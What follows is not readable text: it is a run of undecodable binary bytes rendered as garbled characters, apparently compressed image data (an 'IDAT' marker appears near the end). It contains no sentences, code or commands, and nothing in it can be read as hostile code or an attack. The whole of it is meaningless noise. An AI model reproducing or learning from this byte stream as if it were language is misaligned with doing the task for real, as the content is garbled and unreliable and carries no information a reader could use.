�Uk�Y���'�L����M�,(��J�l��鿡��]�)O}?;:B��m�T�ؙ���p��mr=Uy�Ӗ��&�?2Ik�|q8�X��i���,����lꎍa���2x^�c-�>�=�sX�����ӏ�r(��,%��篖��>�u�X����q���;nq���V���d�Y��rc�\h����CUK���Q�w�e)�N���o���G�l�����w�Aϸ���v�&����Gm� ��-}ER��a���))g�8^)�Zq�\ڤ��%km�Tw�r�9ϡ�`�Z�++N|�/gsNҷ�,w}�R��1�Z�9�V�lc4�hR;�/M�9>;�x���	���b'K������/$���\�laì��p�Z�4�hB$Q���`]4F<q?��ȓ�YW4]�In��f\�����\��).�`Q��×�C{�=�*�V^~YT���x�D��&'z��*����&�y�2�b��_'�D���L4�RQ���_����_�d����3�ϖ��=p�WqUn���F__�'����1�IB�I�e���=�:���,²GƲ�t��:�͢`�Y�p�-�O4��� ���HT}�T.��O������V����Q�‘g0�Wʒ�
�Q�_���<�|�di����L}����i�>JVB�^�7�C~V78�Х��\(l��z�B wSܦ?�cE�U���6�Jʹ[��ח���c�
O�H�[�%1"��w��h@U�Ms����N��
��+�'�ҫj��,qp���e���y��[D^������<��x�9��`5a�X�L8��
<�8�\%�1�H+͑o����B��Lc���*#��7T���d�%縑�o.*%�%����^��"�*")��+�-�1l�F��V$dz�)D��y�^�&(A�ʜ�_�h�Kݸ�����?��c�<a%�o��E�pf���I�>0�L��myh;�8p�p����:�V8����Lۖ��l�X��9��0�?6&�a�}�*�lSg'!ކ��^>�D�$ӔW'��!�O��L&�E^�*��&L[�l���9y�%�i��~��~u��"E�}�K�γC�G�7��*�5ת�ۃj��:��������
�K,�A��}�$��ᵲ�w�#n_��*m�3V����D�|��^+K.���G�/^��
�^��F��aos��1�U �¶�Y�Pt�
�f@Oc6T#��<��Z��Eq�m��4I�?�|�p�V���KO)��Mz���gO�Ъ�;f�V�ъ�i�5P8l4�%�z�,c7�<��Ä3���ŝ�H�ӷU���Or"�u}#�8s�i,�'��}{�ٟ���2�k�&�	�28�?���g�+9L؋p�p�!���lϑ�������JY\h��AO�E��x�u�S8�^8~w<�w7��*�W��*OC��I�f����4pG�{{�����/ ���,b�Gy�=w�s���9�r�[�-­���½�L�t�T��<�Ty<J���(K�0�m�'��P�g!P�o}�=;�4M0Sx<:�~�7��-�$y7>L���M3鳺�*z���R�*�d$�G�W��nԾ�v��?���{LNC����I�ǜ���^���c���$�u%�뭖��wQP����~�\̙nDx��x�*��ٜ���� }���Oږo�k~kd]��"\���9��7-�O�<Sn_T|>���q)yH��p�VMhr�h!�kE��(V`�>SU��fsf�3��N��|~���J3s22)�"Ҩ2ץ5"\v�M����	���I<N+�SU��K�8+?b�q8�o�kޫ*��z+��6����8��b\��Oӟ�9�N+�X�s�Σ����XH�-������X��t�U�`�!�j}.�uEx~���/���1�ߜϱ�x4T�F���,b��sw�H�wfs�,Kn�up�FI�Y�yl:a�Y�:�����z{�[���I�4�M�����vY���sY�ZPT9�|I�s|������.����DT��z*�'�1��Yb�o�mͅ�Y"��хw�g���_���>P�դ����6|bR>�;kbC���I��&94
~m�_$�
�΂yY�8�jV���,�i��	����vz����W��ׁ���0]�Ē�?ǝ�
_%�5��@
�+k5$؉�nU�c^)�|`dW��@�\b.�q��"<s�M��_wߘ͸d�*���9.Y��e�k������ҪR��P!��$M�ƅ����+>U|B �ŧ%��إv�~��HL���R��
�f� x�ќ�;1��oמ�r^^�T�c[�+���U���v�Y��Ȟ�+ĕ�	z�ب��;~�> ����9�������-���Q��s���J\���$pW��jnR�ӭ�r)��R�/�l�
ьD=����7�@^CLa�:������r��v��=�\M(9ᖵ̝c����2$�C^����2M��D�9Ǘ�������?�JBj��ky�(�2��%��|��:7D�B]u���5?]�p����JQ�[���1�F"�|� ���l�0J8G!��2���
cx�(�s�z^��{����x�u��Z>�Z>F���{�t���uM��A�/|�\���ʂ����"�ٚ+�}!P2�?������U�摸�^����},�pJQ�
��3�[�E�/;�!.D��Jn�@�$/��S�Y�E�LQ�Fx��h~	��o8wa�\v�(��5�Z�q�^g�)8���˜��!��WX���"F*�D9�^���G�
�tmd�M�2����ga��x��g�h_����r��.~o<╲<]��z�h�
�q�{�UN�r��A��l�K��sk�0�Kz^)Dp�T�����W����׬�VQ\h�B�D<�u�F"�
-1��"�!���Ds@��P��s��Wd�(�L�4���pS�����|�
86Rݎ?����T1W�&~jϙ&:��)֔A��]ηY(�h:�"�h%n�:Z�s����IӬU-�y.j�q�<ɞp;��4���M���[�£������ǀ�D7ۦ*G]wf��,���9��}��q�b�W˂��y�:�s�t�g�X�K�{�J�t��?X��C"	烦�u�ן���(Bv#Y�tJ1���v��n���F:�ke���('!JZ�Bi-�� �y��{��AEh�O����+��~��!ג�>��ک�2��ם孲�{�rb �(��p���~�����?�4��`�]�Vk�x#������4�F��8H~�yR�'JǽAtu�Y�8_WZ��;c�$gjwğӠiR˂ �%/v���v{F\���|� N��7}Z
�g=P�#os�N�����j����z��gՋ�k���r9�v���꜋-�\[�~���B�"�n�q��[�8(�1��F�~�!��X��v��"���͹�uT�p�(�|��1�AE�o�D�B`�p[��mK�u<L�fU���*�;ϟOg\vQ���Ӭ��r=�,�)��i�KV��r��d�g|�Mє��!z�[�� ���>�R�Dl�C�.`�C��&����Yo��/
7^�,V��g%mb�b$B���L�C`��8�3�w�)�D�֗8+�����/�w���Gg�I��䯻6�����9�G�a���������|+�5�e
5<�=9O�Ĉ��߶�eS5�E��sl�����q"z�;m���J�&{�64'�±�h��S���|߳��
�>��"�*呂��b�[��76ž5<���T��"�w掟��]3_߫��.h�6c՚8����4���n�eb�c^<ӴM��,���b�<�}�@b��9���US�_n����m��i�yϕt���&�ɫ���s�9�,��y�3y���D��kę�O��1D��L�w�s�k��"�[ˑ��"Y�:�
UU�[U��WJ�F�%�?G\�'�'>l���Ku�U�������ܮv�&)��C`+e��4Ƚ-����fۨ�S���t߫q���T3�i[<�_j�
�wh�ж�E���J�-
�)���\��e�}�/4IG�Dز�p�{�Ʉ��sQB�X�l�Yd{��N��R�+Aq�gV"<�<�>�M�RI���
�=8��^���M\u�Dr��J+�׉���ܠb���'n�]�n�O��k��
|a0୪�R��X}�Fc����n�_�9�<�s^�[DK�OW�ej�1�8BLjr3��{��)P�P���2\�l��\�)��y�t� �A�c�ȼ[.[�X��i����2'�җH4E���f�a&f�� LI�\=�bŸ�0�8���f�R8�/���&F۾�4PQń�
���R���/%�,���j�R���*[Ĥ�Gio��I�#��Y��2��yҶQK_b���H�Z���W��0
�mj��;6�=�N�}&��1C�e-�u-�
�W�祦���1l�(u�R'$��ٕء���+m��wz���2sj�2�`C8�ކ�:�G$ң�O�H�!���JZ����<D�e�xZ檼,�'"�W���
wjM����W�岳te�ݪ�p6�u�G+��ą�����O9?��s&�G�&<[�v�8�oq�s���pNQY�+YI���J$Vhe������|��X�;f���䁖?Y�R`COq�U�U��n8�k���sM�y���  C4[��Sgٲ��D&yэEN�)�G�+`n�0$����nTc�Jg-�X�@[B2����d�H����.�	��FB˦��@+��Y�혩��PcpEA�=��S�c
|ܶ온Щ�M��=���>�53_�����L�)KX�,��e�,�q�-a�Qƚ���C\+�
�o�Fl_����s��%���s\xiPE@��$d7��I�����lƳ��M�K����dX���n�帙�b9;��<f}����=��3�q�ګ��ID�wUy�=���M�W�dz���bA�Nc�'!pU����g3�f�ǀ�ؗ��VPFeAu��'���)_9�<���(��AS�;9U&^�|�����
 ��
�8��N������k~�u� H�Ct*T���*vF<
��A�X'��L�$��1L�J୶�@?UäST
�Ր��m����f��$&��h�i����̓��OB�Dk%f��+l \-�5�\BR=�j
�^��ΈD���O�m����U8���oV���?�Ƒ)��{ρ*���7ʂ���$�
��J���'%Z��W�;�'��d��ay˝��7�u{�����x#M���WK�_2��t�T����?''�?hYx�:��Uya&�6DP�U�Pw��}U=��ψA}�n�5��o��$��q��<���')]�#�2�S9�Q�J��"�A�Q�]2���C�q�Ja�L��ό�L�č���_�婁%nMF��R9��������\���|μ�bm(�tV�HEP,*q�����QQPTC��c�pe���{�xXO����:K��0�}U�	�<�Ϻ�<���,&�T�X͞�����Eq���J�K�1�$Ą#9���WNl[˫U�nn�fyqw���9N�V�iׁ������I��cc�����.�����Oc�OhJ���9�S��c�� Dp$g}QeG���^�<��I"o/&�=gy��غ (�#j�5��u���*��?�!�V�-��!����dR�"��c�k�'鿧)�I�Q�ؚ�<LbA�%2�hv�Հ�t] xň��Z��pҶ<������w/_��m�nmQ�
���fΤ�9�N	!~Q�iɟ�0����l
�<(y���mnpk���x����Y�p�qc�Ŭ�ٟNh��
�0'0!��NS�9P�����U�*5K[���s.�+�q��U����"faRN��Sף!��5\v�W�����\-���B����e��yφ��[U�4�M���1���\�$gy���J�ݴ�i{��@`���h"��w�8�.���{�r�"��M���&]wNEW˕t�C�,�>0KvI�\zλ��	OWX��^�WC�i�Q86/��;�p�Z��i�	!v�i�1�9ñ�wSx�]Gec8�D��%(#��Ǝ�H�g>`:��r�+�M��A�������cP1`�C�l��)Z��q��8��s�䀙i�U�Li}��y18#8�-
\e�p�q�Zoo��
n9e�i8��;b��qPV6:�F�
?�-&2�`���2��G��g�J�R�Uk��e?��3b��GxX׼d;�UVHyު*>iZ>jۘ0a�{.��~���<��!��hC��*;�sU��sF�f+�M�k�L�پ�D�̠���d��=x�D�	d=P=c!X��"X�h���T�:��ћ��$QP!��'"���=��0&�z=�i�M�E�<�&g'��y�*�,W�}b��B\M��W_6�sZ�U?4��ݪ�k[NV�����d��2���
�}ᐫ�q���x�VrKA�&*/[�k!�Z�g�kYCi�R�Tᒳ�m�a�2Se�#�8���tƒ�r�O���l��	e��9�����#m���
X�[�Y��Fh��]�Uύ�뚑(����-[p��>�ol�86��m�������C
lv�q��=�bl�iP���k ��:�/k��4pDT��Wpuc�A�=9�;�倅�WT�f��0�����ʂg垷����r�y/�<n���{r��
�C �U�~߯��3	�>��+�	�XW
�T1O�T��vg�d��U��R��W�g�������!?l�s�&��%�O݀�/Y�W+'1������@�X�2����@�o��0�F�Kv�9�������ynAJ:�Q��W�s�p\���Yb��kֱ���?��@�4U{������c+����M��@�P��ؒ�h�G!P���|¾���qi0���&�i��Rt��̍!X�Qp>`�"���)+F��+7���!�{v�2��e|<�R�1
�A�*J���Ѐ�Znl��;�?���F/�f%F;�d��I[�B�	�enLr=FW�m�����Z�-�o�`n�_$7_ߩ:�I�}D���{vU�� �T��w���']�2�Y�w1��J��L�V�<���q�2c�sI[2ϡT�M&�Jڹ�.�qO�]?�?',R�/?4'����jBw8�ed�^�+��*f�YW�l��$�i��Ɋ����c�hV�T%��(��-�@!��pQ��u���O��|�?R�~��͉�|���XJ�~��8�4G
��̎y�L��;����*+6�`Bˡ�HG!�V
�
6@��Xb����r�W���]�ڎ�:O]8��[V\.+�	��–L��''�w
[���{��
��0������+�d<�hˬ�s�
F"#���HSV�~J�&�1��1�OM܆�K8ʎ1���r�ݽ}jb>�V>1��!�0����S��zu���1�b��B���*ωC)D���Q}`LǺ����������pvQ�n�k,HR�D�CzX�22�ZX$��p��(}��ݥ������C�N��m_�K$;dc��? ��b@�O"o�%oT�{ϑ1\+G�s�{\{�P2�<����v��eo8B7��k��y�aj�Y��SJ��$�@���l�!��

OO�y<�1�8.��#7�k�ã�ri{�/lm0�
�|��d>e<g1�!8��@��F��nA��1��#k�����=S0��hݲ3r�*�ԆgmU�/��
O�
�B�y��śc� ��N��HO�� |�����o��R>?j�Ӗ6��i��u���iy�dń8���Hz��F>w��O:���'����jm8�v�፲��Zm8H�3���ZK��!.ҫ��~��Yd�:���g}�۾�^l�r�|�>�E!�;U�;U�')o�N/�E� �"Wܺ�m����}�y�bKZ.���?�͸�[��2�K�r�;&U�|o$nOr0H��i;�
^�r��шG��L9��+�޺��KWyrxĽ�����aZ�S�h���6��d�U�s4=��
�9���6ۣ!��Ǵ<�g��S
�4x�@�5l��
�w-�z:1̂p:e�uX�-��9��R�"��x��24���ʝ��xZ���!f>c��AeLg�����7<]��a�����j�Y�k��-'�J�vY�i^,�Ϻ��:ɡ��(U~=��U���?[�Ǫ���z���!X�V�J$y���y<
�m;T��!v�v``;I'�0j]X��r�˺\*�R�ĩ"Ж�g-�u�$�
"���D �_�XQK�$����gy�_$����x�,yV���1��Ɨхx�h	d��'�r_��=S��2�V&�"�,BG���)����(%���ș�6�>�\�q�6]��R����+<@�K;��Z^���p̨m�w#�;�� J�=
n70��)��x��9�䄽K��mU^V���Vh�QY\��Vi�Z�7�Q�m���H�.�nl�s��g�5�,�>F�
��'x�h�P�]U^m:J�Çj��<y7���,{�`��MQ�d<����v��-[�ڎ����Ӊ0o E����+|�q�c2��a�P�f��.6m�`Y/w�̿Pb��3��D랄h��p5�r�Ey�p|�?��<i[.{�qP&p��3�H׍�L�7�^�']�0^��W��x8X+F:0�kx�p�6
��|Q�m_)��-a��%�l!�g�c���蜙^�E/W�o��C�D��׀�b�Ƀ��7Ƽ���\w����m-:����B���Ů�JF&�X6
���o��X��XÎ'��115xnd�V�.��@���/�sU��{3���M�x��S�K�|-���.q��1�Z6��s.5S�jj�����`�8C�Myp��My���x��a��W/]��^=|ƛG�|T
l�0�P�!�(UPv[ϰix�J�p��–l�
W�eh��J��t-m���a0���*.�^A�98~��XF��ƼI~�o�:�% ����c0��h�^Q�c�:n��Mm�e�k���7��M���{��I���@�1[X�����鼂o���qY`l�����]r�zH��ר҆���?�眤D0�����Jn���M�*�u{ϥ58Ue�uXJ�8<!�?&I��	\��n��[k�S���-c�b�^9���#n]��z�����*�7���b!О�����V��b��Sk:��Bw��f��Ǽ]U�@˖1��hȮ5��d�MÇ��Ă�\gW�{�]k�J{(�"���s�H�&���=���l�"�-R}���a�>f�P�]��(�ZZ&&
�k���J�2�[��gJ�1�ON�h[�6��+�������Ng�Lɍ�9��d �!��sv��3[[��-��BׂWTcHmS���̽b��,�k�+�9u�Dם6-�5���y͍�eks���&��N#[�^�}�3�J#ae�=�SO	�t����{5�Ov�ـ�t�(��P�t��hDY<z�y��m�ٖO�e�;���LN�T864p�=��@�]k�hvo�����sb�&��T��$	��4^1���/D�Y8��x��ǝ�Yݰg�EQ-)��3l�H��I�`K�=�i�1��	�%~�P�Mkض�Z{!
�~�yϛ#J�}��@��DҶg%�y���<�D.�-�yptDt��'�-�шwUo��"�_��?���kF!�4?�#Aq�q���_�l���W��A;Mj�3�	A<���$(6�U�N��(�v�w��s�X�^aG��c�>�w��0����	ۣ!j,j
'!p�t�no��l�eG��	�)8��h�ЁI�m!ж-�� �����	�g�fR:$��혙X��<��Bǭ�M��<��0�-�� �Z���d�|�e��>t�BGǁo9�ʱo��0A��.('x���O��M��Ǹ��Za��57��[��8uwO�hC~�z^�m�\�蛦�]E8��'T�����S�]��a*��%���Y��ú�bsM�rkbW\�dwu���ٴh�%bcr���4�#1��y�Z�:���<��*Ϻ��C�����n�L�j�D�pY���H���Pם�w�#>�f��bDx-�<0���<"�)��y�}�9�Z�Fsk��{j-����+�!��,x!�H�<�Fc���=���ѐaa�����F��4p<���UW0��x��3t.m��;�-��e�T1x����� B�>Tb�(8��s�A	����vF�9F#��PKc
�Ey8�1Ӛ�m_bAO�)�#�Aj�FO��R1򁮃��΀q\�)8.,��`���ɔ`c��u싡�%����|�R�źf���S#L��:9!�bFc��y�9��@�R���y&(G�V[aSC$Ҝ%na��$�qGLz��C`z�=��p�*����r���5{x%Q���)�Lǁ|�­�'���(fT�=��h�TF��!nu�%��55�����3�܀���4��Yh��f��RI���)}Q��Í1��ROgh�1�g�*�'"�wڸ�z$�kY�1E���ܣK�l�T�[�/o]��e6�p}<bs4��L��"��	�M����Z1dǕTF0���4�Ʉ�p����j8��E��Ow
<���%�4݌���	���yB఩���Ee*5
5�A���Ua�|��i� �P�L
7Vm��XG=?�:��Eɠ��x	/�q����(f �`�J^+
��.��MQq��x����a�r�[�#�*e��D�xZ�SS_��c:B�KZ���Ty�ŀ ���v��i��|Ϋ�d.6��T8�z�A�!��v"�9wa8�����ͽ��&��e�\׮�_
��D<柳F|����/8�0���?�|z��w���i�''�ۣo����3�3.�m
2�a�ӧ�e�@�.{�u�*����x�S
���x��!j�O�^�<x��^V���
#�W%��m��ᐑX�ι�c��'��lc�p͔B`�������V`hh�"t8%��4�	3	�
�����e<*��
^a�=3#����fδ�\���j9@�
]=G����]��E�y��t֠&�/
�
Q���6��fPA�Ϗ18F��<]�21Et���C���lق��׶6iʂ��YK�;���m�3��#¼Ä�L�a�p�+b'D3ڦ�v���@C�`�+9
�½��k֢]�wfs��c�kJc�����38�1�����k�W.�]�
�#�Q����x�y��o��W�U��4D��E��٠vD�-c���g"D�C����|��O)��TU��`�)�����Mcx�y���~?�:ZU.aW������,(c�	B��wJb����5��kp�.�^
-?8���dΰ!s�h�
/Y��`����c�6(C#\m*�<4J�,��Xc!|\�k��s�(��`�`�����i[�mǁ18g��P�����!@
]�nr�ܠ<>��5�8�Y�)0>��ZPCa6�� ��xNi����Z�y����Ӷ��#r�O�^��zGZ�*x��S�����@�t8���9v��L77��߱�������n�X�؂8;់�Y_�OC�#�t�=�w��7Q��b�PmWK�$`��.ʲ�"�Q��5?-
�[��5����(���0�E޷�/����G��.�P��?��ҲE�s7�@˯V�����/��tx�(!�K��g:ch�CƓI�dO�J⤑s�M���Ϛ�T8���œo�x�,y��`ҋ�_',�x�;��`<��#AAM��g]�i�ʫ������RU�BK�����UE�P�(�p�[��w��Ƙ6���l[�o�(cl|��u�]�ǔ]�F�UE��PU%�@�c��z���N-O��Y��y�õ�m��D���a��(��;p*
ҁ��CC�1�� Vԟ�O�����2p%bS�4�̣�([�(]����	���L7g:��[l�('Հ�"��-��)�më�.sk���2m�Ig@h�� ����Q�1)T|��#NQe#��!�c`�u��l�Ug�z�;o��9˳�Qk����n�U1��j
"�3��Ȗ��g�F���%�]�O���Y���ҸqA����3�s���-ۜ�)j���U�s|ԶL''L�竣�)��y�P�j����ɪo{ҧ	�e�r?[�IP���(<Ŝj�t��@�b�%�R9�+�;�o��fH�qm�x4d0���S�����(V�="-^,�5� BW�R "4>�!xP�k�6��yO+5���ֲ��Zu��������GvGQȣ>��������d��H�)�&.�0*c�Q�
�!eR8J�k��s�r����u��9
�t��F���5���.Z8����_SU�F#nI7�=�F���:^��m�g,;��*S1(��	�>	q�| Q�l�zF�w�q�04�.�g������烠H���y���'K5�lS;�r�9�B���Lg�i��+9�F,DN:�4��O5�V�	wW�tX:�:AtD��]ڟ��m)��{n�$��f�r���o�����'�5�aL5ey�$�R�DÙ�4k��9z��a��,O�&Y�8�OB�
#8�:���&P٘�Ψ�gG�k����[ְ?����nZ�:�U�Aښ&��Y���D�H�jk9v��n��5s�1Q��Y����jG<X�1�!�!�QU"����9FV�z����zF!����f� ���X�����05e��<�s�Q�bx*��e|��5]HR�Bib
��/gU��s�ah,�(���[E\|�ټe^FC��!��W]�	�nz�_<Ӛ5�jTʔ��Kk�4�`>��R�k{y'.�;C8��<������ꚷ���EA_�`㖍"���o7WC��g�~�KQ5jqj�с�?Ɖ����KN��'(�B�����)��\����u��?|4���x{8��x.8����TY���t�ieҥ�I�U��'y�t�H���S8�Q��I��$�ڶ���ƈ��
�L���eɞ��aj�N��@FE��@� !Љeb^E٤��SjMTi���c,b�b��@�G�\�O+�M�H�lf
�(ѮE|��X�L�ۻ=��rӡ~F�-eY`��j��R��~f���
G�I9��X�`0�[< (	&"����M�
s�y�sP��P!h`c���=m�:�+騋�s���;��2�[�ဧ����pߚ����<��c�j�4��9����Ġ�H��ާ�E���`�=�<?�^rEo�i��xC�XCc���叧SJ#�]�1���Nsv'���^{O�Jt_�}���yb�K�TlLd��*�b��s��t��=�#���Ȩ���DR�E��[D8
QxC�‚gg�L�QU
����,橁���Cz���I��ʡL�Pņ@Pϝ�AB`W�W�|��n�>���#�Vv1��3��N]�VQ�Q�Tb��4 �Q������
4.�C�����v\i;��θh!�a&H$�Xc�M��G��K�gs8b�u4m1਍Yuo��;;�8��D�1"VE�R"���UܟF���mJږ���]`FT�1��Q��-{mC)��9�&�w�ƱC4���O��1�E�d��4�rJ�m0>�
(l��nX�ˇG�j@+���4�+�z|��x�Db4Mo��Zw���hI�@�h���嶵�Uk�u�‹�T��p=ČF?�ɭ��4��d�D�S�i4�A�tO����%a�>��
����I�(NQ��O�����8�C�?�_��UFvD�X��)1n�U`�:��*��E��?I�X��6Ƙ��~]'Ҙʒbpb[�M#��1Ƀ�E����1���8�=,�vwy�(�a����䄫�9�5|R�o���Dxe0��b����(bW�[�rU�r۲Q{��"�j����j�2��ј��S����أ1��'xϮ�l:�QC[
x4k8����B�m�'bh��]ޞϸW:�
��y��ɔ�Z��1l�������Xp]`8[s���F�Q�B�1�#tMK�6�C�F�'eɣ�J1�N@�+��
S��I/x�o=V
ۍ��0�S:GѴ��ɌK�;����B��m�,xD���q=��-���u��p�v���RQ0
ʱ��Yd7��C�ZM���e�fF�l�R�uͽ�卲䭲�e#�1�h��(�!Ҷ�P�?#Z�e(��"��W�p��p0�l��cj���\
bJ��`�%ky�9��uo*�Ng��x�M�4Č�_�rA�ދ�I�o�t�4�e�g�'W�Y]',)���X�2KQ:<����B�a`W�8��vw�]
N�lLg�d�wl�q�б]��J��<o��w�Gg���X#0t��k�H/�[����'Jct��Fclz�plGL���%&x�Ʉ��XCӵ��&'�
�<��|�
~�o�5�M�?�p�����0�?n�v߷�'��-��&�L��S�wJ��y��ֲ�*��C����L:eb-1��L̔S�����
^3�4�alI�kB�D=����"e�C!1�J��-,s�4���lE"F26���C��&��e�]3!u(CH�Y�y��i��š1�^���U��iN���s�ڼ�"x�"��,2������ug�-I�w	˙�r����wS�z�g���T�K@K��1���)1�j_��1gE=�R��0a�JIt2�q��1�R�>U�-XȁU"\��H�����3�'�$��n�@k���@7�Є�n�|��oV%��\n�={��x�Q���,�l���o�%�9,���LU�P��iL�w*�����Հ��VT��H�1��
��BM�Sb�B`ҵt
��m1F�eI���G�9a:��_��O���gS����uLB�Ѽ��l%�O�Q����&<z��OD���Y=c`a�7
bߛ��&\nPY/��;�n��G
�n;K���Pz(��1�6t�g�T��.nݝ���)D(�*G���#�i�j�6�zGk���G<�Jh�]�X� �T�p$��Ĝ�m˟MglmD����a
�*Z�8i[^�}൲��Z���5E��A(�qOS0Z�>���u��G�BV�>�#����/8/�w:ɬ3�*�|��q*	&ix@����b@�C��:SU-�_m����vW��^{VL9���1ϝAW�kE�d�$�L���癏B����<T�g�ÛD|���?N�Ï�b�u�D�~��QZ���ď6��pԴ�p@WX:<��C��U�{H�'�1L
Kg��"����p����X=����E��ȕ�Ν�����w~xt��w=|�o��d:�Mǟ�
�s�u
�3#����)�,ՍPۂ�iy����L�̜p�c��76�j��l�A;�q��iy����8���:�Z�@��*��1Tkhۚf>����`8�p�Ф�!A����/��Y�੍0/-OB�����1'���*��%�G#���~bd�79-[��r��­�\�
����A�^)׫H���@#���M�r��4&�y�0�$�%�cX����%ѝ��Ir���<�'Z��VBA���Ery^��u%'k�ӏP"�Z|m4ཪ:
�}���3�|k^s�m��y������$��Ĭ4a�!�bMi��c�Xn�|ys�[��Y�+ܙ���)�Yn�l�k`�̰]���)�D����F�:)XG���=���^�����2B�a��Ė�7�L��5<
�O&���)G��%�IR�B Zj[Tℨ�W^��51�A`���Pkgc~@���� ���d6�S�	��*�+����������JU�W1�KScq�M����F’4m��R��t�W�s�໎&(�-�
��oj�?=��?�YF�2=<D�����Z%&�����?���(��	p���x��CF/�ZV���i��:�?�/x�u<L��oI�x5&�%�B��_��_.���ԿO����`#bR��z	re+�Q��x�kĉ`U�3o��y�=3�^*g�}�'��HӐ�w��D��@a��01)0�$�b5t80��!�k[�|��e^���z�i[�
#[b���z�q�1G�ye�a*/%Δ[P�e@��5 �b��`0+Ⓚ�FT�X��#Tt�U+<P�ߛ������#>��y���5L%���Hb�gg"n F�T�V=�3�41bkⷪ%b'����>��rC��I[Ӡk�0\��9��l���j7s�����*���;�3O��)+:�1�2���l���ݸն�2W�mUG�c.����v]�Y٘nxØ@Z�����5�5\	�{��� u-�^�~����=�"}�1�ɷ�I�y�4�%�k�[��b���X��ұ��ץ�A����9�0Mc�o�˯��A�.��GT�&���M��g�[��
]!ʅ���'�u#^J��N�G��Xc>�qʸ��b�jʦ��Ty�c�J���庵��\AY:$MV;XF�h� (�(�mo�N9��Ɍ7�O��H��>
1��{�	u�p��w�Z�
tA�Ԡb���u�*Ԧ�2���B�e�a�{(
��B%&����f��f��o�5=9ᛳ�3���5�xϱFV4��Y
|��kx�{:��J~��	��s�	�|xdR�H�Q�$ݼ���B�JE\U>���C�B�&��F8F����+�X.��v��HV1�!Z+���F�	4V�F�z�*/yehJD,��O�1:S25%'�	�m�78���@Y�б���lN7�o�f�qj���wE��2�v��P�y%S̟&�8��2��՟��ރϧAz���ga�2��r;eo^��mS����c��?L�Kр�D�Y.E�̍t���!]�.�'J�Cs��&n,���S��ٜ���hțE��`"��F�m"߬k�*{�c�?C��������㇔A��8x�+�����<O�60�|�<��t­�~s���_ʣb�/FL�)k������bX�p@pe�J"��(7;�o��8	1S�#�����|ʿ�3�8��N{�I�>�"syE��_��3)xp�Z�Sl����Q`�`ҭ�uw��*'i�w���`�Jc��\"?��
�(u�1�N����w�9/��e�fQ�e��1КM_S�gncH�Q*t!N����S��0#&�LTG-���#6���Q���S��9)Ψ0�5"�Nږ~�L�<��6�So}�(5�$I�e4�j[����l�W�`���~�,�$��:������2$F�=�?���2q��Y��3��&q�Yp!Ӄ�W���Af>�?0�(/�4��r����3"��;���$��fO�D_���?�a
=����8��+)���h���WQ�U�>.EP:�	7*��ɜ7�
�j��	�F�|��fmþN��۶l45e�F-��#a*m��:k^�ƃX����&j�_�(w�ac{�a홝���e�]	5Y�Ʌ����#��J\�O�QfgU�(L���T�"v��2����'��(�vhc�Ӊ�i��
�$�
�o��u\)W]�(W���jG�҉�Ӕ�YK��0i˘�g��j;;��a�9�SV��!Ӳ�����ј�@5����U�1p��8�L8	���\���wQ_̘�<��ޟ��U��*S�G=�7m�G�'�M}TQ��~΁�H��=�����[��C> ���V&��O$,�]�[���e���qVM�tm� ��h�d��{�$��̈́��160�B����Q�Yu�1�N�N&4]��~2�*k�-7ʒ[�
6�PӖ�c8R��%�������'��ÞXv�y���FQ�G�u{+(�1)l7X˱5���ǝr�n��lʷ&�<�-��ۂcc� �]Ǭmh5�Jl��`�[�0���Q�J�m��0W=�J��N�� f�U��Q�c� ��	���!�,�۔��`g`.�#��$(S�vM�j+�6�2*��8jG^8R�}E��ԅc�,���dz�xP�ZKӶ]��C���9���]�p�k8�y�Ro�$��O4I��q��0Hؔ]Ғ̓gv�MC���಼
ge��!p<T�CY��|���Z��YW�aJ�� 
⾔��i����s��Oӿ/
��V���+65޺�";���Aů����ܩ�k_Q"��0�˺۶|д<Sh1��Fd ¦+�5��pȎ��Z��q�ᙡN#�5'�:�p�2
��؟Mi'5W����:�-�U*����``D%
kZ�T�#�9jf5�5wC�3����ċ���w���q�u;���r�C�n,ZF筴��˩�r
S(��]cVaN�#G�"��[��b?��5�I��C�Y�~��d+�׍�I`(�+h����Gӆ9B���>֥,q�Q�-��[��|a�*��c*�`����%sk�+�ϼ���?�A��H$���f�]���j�x0�ղ`�<).J1��Gz?Mf>�����g[����-w��=���C���	$���X��V���ڬ�Az��L&���J�j3�$뮮��� �s��;�q��K�~�>�ľ� �j�ݼ'N���Z�Z�r
o�<���������Y�m����o�<�l� �2���f/v�T���\?�
	'�U�H'��}�1��<��ʫ!�����)�u#OB`�Jc-gӎ#�I���k
S�5�����r��el�>�KD#{Q�TP�TuE4��Պ��e�RS[��8��
��aPf��F詌\�s
F���[q�|��O����|�{��1���)]̓E�}H"���R(!%�q�dJv?EI�b���H��C8"1��-�B�=S)a�K�.�<�B�@��IDATєxE��6
Sf�$�)3����5���j[Q���j*�k8Yu���9��@�v�&���X�4����c�ڜ^�±.z����ۧj&�,���-+I��b8.i���8=$��Xƴ�cT�4e����
QR�;M��OC�,[����b�($:�m��)���r]݇oX�����z$@�zz�5q��0!�[�fxi
	�=o��d#X1�};|hH���o]���둄?l~�{�Û�����fZ�}��V��T�,&�y��MUq�Є���� ��݌I���[�EXh@C�B{�8?�8�Ww�p��*LMŴ1M0�B|�i;V˖/c��j�*xܨ���Z�<�}����=6	46
Ou~�]�_t-���<O����r �EyFd�	���{���B���6�G���x����y���(~.6:�Gy�A]�
���W��II�L�J�C�w��A�ɟ7,QxM�7U�?1q_�>U�T���F&49CՌ�b��11‡��#~d-�������k�	�L��6��5ܯk�/���Lj!����y}�bi,�*p����T��V��.�(���G�Q�>�Q�j
9�We�����2$��}�T����1�o|�߷����&�'�U_3��to�B"��Ix��!����^���E
�H;{$�`��
��E�Z tD
�N�ӭ\j^X������&������*���/c�,~s4�(�z,c�i��S<
g�*Mױ��b	Vx����ي�d�m�im���_��c4n���YlU��U�T���1�-�F4�s#N�b��{NOOٯ�@����{.�����ZV8�=���!��\˯�|���$)�pL"�4��~�(�<~=�Ηܧ%-�ʉ�O�#�I��ƅ�?�A�Ҳ��幰��?QN�d���h$������Uw�Eb`��O���j*;�_Ǟ��p�8
X1����]"�	ӡ�yQ��5<7��j��sP%�d!C�c�=�Yt+ެ,zt��+��a�ߋ��g¥���c��(|���>�+��1�
o��A��k6Nx�I�Ї��P�9���@�*l�h���tX���s��yh>�T��ᕺ�����a���6���k}��!&�ƒ~°9S�I]~�M�Esg<���*s�,�C�G�7��"��*�?u�ET��)VL\c��1R�ˢkqب�:�rP�8�a�{��g�cDD�S
